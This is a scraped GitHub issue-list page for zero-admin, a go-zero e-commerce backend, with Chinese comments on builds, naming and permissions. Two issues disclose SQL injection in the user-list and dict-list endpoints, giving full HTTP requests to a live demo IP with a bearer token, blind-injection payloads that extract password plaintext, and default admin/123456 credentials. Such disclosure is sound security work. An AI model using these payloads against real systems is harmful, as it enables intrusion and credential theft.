feihua / zero-admin Goto Github PK
View Code? Open in Web Editor NEWZero-Admin 是一套基于 go-zero 框架实现的电商系统的后端服务
Home Page: https://feihua.github.io
License: Apache License 2.0
Zero-Admin 是一套基于 go-zero 框架实现的电商系统的后端服务
Home Page: https://feihua.github.io
License: Apache License 2.0
SysLogAdd这个方法对应的就是操作日志吧,我没有找到项目没有用到这个方法,是没有调用吗?,还是我没有看到呀
有看到过go-zero,建议的文件命名规范是小写不要加_
我看到本项目,大部分目录和文件名的命名都是多个单词没有分割,全部用小写,这样做的目的是什么,没有分隔符看着会有一点怪
另外看到有两个目录front-api,common/errorx又是这样命名的.
您好,线上预览地址http://139.159.180.129:81/mall ,现在访问是没有菜单显示,是不是最新发包出错了?
执行docker build -t sms:v1 -f rpc/sms/Dockerfile .
时报错:
#0 212.4 # zero-admin/rpc/sms/internal/logic/couponproductcategoryrelationservice
#0 212.4 rpc/sms/internal/logic/couponproductcategoryrelationservice/couponproductcategoryrelationlistlogic.go:27:79: in.Current undefined (type *smsclient.CouponProductCategoryRelationListReq has no field or method Current)
#0 212.4 rpc/sms/internal/logic/couponproductcategoryrelationservice/couponproductcategoryrelationlistlogic.go:27:91: in.PageSize undefined (type *smsclient.CouponProductCategoryRelationListReq has no field or method PageSize)
#0 212.4 # zero-admin/rpc/sms/internal/logic/couponproductrelationservice
#0 212.4 rpc/sms/internal/logic/couponproductrelationservice/couponproductrelationlistlogic.go:27:71: in.Current undefined (type *smsclient.CouponProductRelationListReq has no field or method Current)
#0 212.4 rpc/sms/internal/logic/couponproductrelationservice/couponproductrelationlistlogic.go:27:83: in.PageSize undefined (type *smsclient.CouponProductRelationListReq has no field or method PageSize)
------
Dockerfile:13
--------------------
11 | RUN sh -c "[ -f go.mod ]" || exit
12 | COPY rpc/sms/etc /app/etc
13 | >>> RUN go build -ldflags="-s -w" -o /app/sms rpc/sms/sms.go
14 |
15 |
--------------------
ERROR: failed to solve: process "/bin/sh -c go build -ldflags=\"-s -w\" -o /app/sms rpc/sms/sms.go" did not complete successfully: exit code: 1
原因是这个提交 4c14598 将zero-admin\rpc\sms\smsclient\sms.pb.go中CouponProductCategoryRelationListReq中的Current、PageSize字段去除了,但是以下2处仍然依赖了Current、PageSize字段。
casbin在用户权限这块用得比较多,但是go.mod里没看到casbin, 请教下本项目是怎么实现用户权限分配和管理的。
{userName: "admin", password: "123456", autoLogin: true, type: "account"}
返回
rpc error: code = Unknown desc = 用户密码不正确
点击链接加入群聊【zero-admin交流群】:https://jq.qq.com/?_wv=1027&k=Sk8azDv4
群号:83947309
通过sh脚本,我看通过docker启动了api服务,但font-api 服务没有启动,请问下这个目录下的服务的用处是什么
要不作者出个入门视频,大家一起完善
有需求需要做定时任务
点赞!
有没有哪位老哥大致跑过作者大大的这个项目,能简单说下业务结构和项目结构吗
对路由按模块分组,便于管理
代码质量堪忧,包命名,dao层 sql直接拼接,建议学一学代码规范,再拿来开源,可读性差的要死
此处代码对应的路由是 /api/sys/user/list
zero-admin/rpc/model/sysmodel/sysusermodel.go
Lines 61 to 84 in 744dccf
那就可以使用布尔盲注挨个匹配出其他账号的密码明文
已知 demo 网站 admin 密码是 123456
此处做一个简单的注入判断
sys_user.username like '%admin' AND sys_user.passsword like '124%'
无匹配
POST http://110.41.179.89/api/sys/user/list HTTP/1.1
Host: 110.41.179.89
Content-Length: 75
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDE0NDIsImlhdCI6MTcxMDIxNTA0MiwidXNlcklkIjoxLCJ1c2VyTmFtZSI6ImFkbWluIn0.2QzsHccYXfGKd-AvfWCAOWW6oyi9R3EB3IWfyXK2A-c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://110.41.179.89
Referer: http://110.41.179.89/mall/system/user/list/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"current":1,"pageSize":10,"name":"admin' AND sys_user.password like '124"}
sys_user.username like '%admin' AND sys_user.passsword like '123456%'
匹配成功
POST http://110.41.179.89/api/sys/user/list HTTP/1.1
Host: 110.41.179.89
Content-Length: 78
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDE0NDIsImlhdCI6MTcxMDIxNTA0MiwidXNlcklkIjoxLCJ1c2VyTmFtZSI6ImFkbWluIn0.2QzsHccYXfGKd-AvfWCAOWW6oyi9R3EB3IWfyXK2A-c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://110.41.179.89
Referer: http://110.41.179.89/mall/system/user/list/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"current":1,"pageSize":10,"name":"admin' AND sys_user.password like '123456"}
http://129.204.22.242/ 账号:admin 密码: 123456
Connect Timeout
[D]Connect Timeout|dial tcp4 129.204.22.242:80: i/o timeout
问下作者是如何是api支持time.Time类型。
此处代码对应的路由是 /api/sys/dict/list
zero-admin/rpc/model/sysmodel/sysdictmodel.go
Lines 36 to 58 in 744dccf
POST http://110.41.179.89/api/sys/dict/list HTTP/1.1
Host: 110.41.179.89
Content-Length: 77
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDE0NDIsImlhdCI6MTcxMDIxNTA0MiwidXNlcklkIjoxLCJ1c2VyTmFtZSI6ImFkbWluIn0.2QzsHccYXfGKd-AvfWCAOWW6oyi9R3EB3IWfyXK2A-c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://110.41.179.89
Referer: http://110.41.179.89/mall/system/dict/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"current":1,"pageSize":1,"type":"1919810%' OR id = 2 AND '114514' like '%1"}
公司前端模板技术选型,zero-admin因为不能打开多个页面,直接被否了。这个功能很实际。
演示网站崩了噢!
SysMenu struct {
BackgroundUrl string `db:"background_url"` // 后台地址
}
交流群不建一个似乎说不过去吧?毕竟作为第一个go-zero后台项目????
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.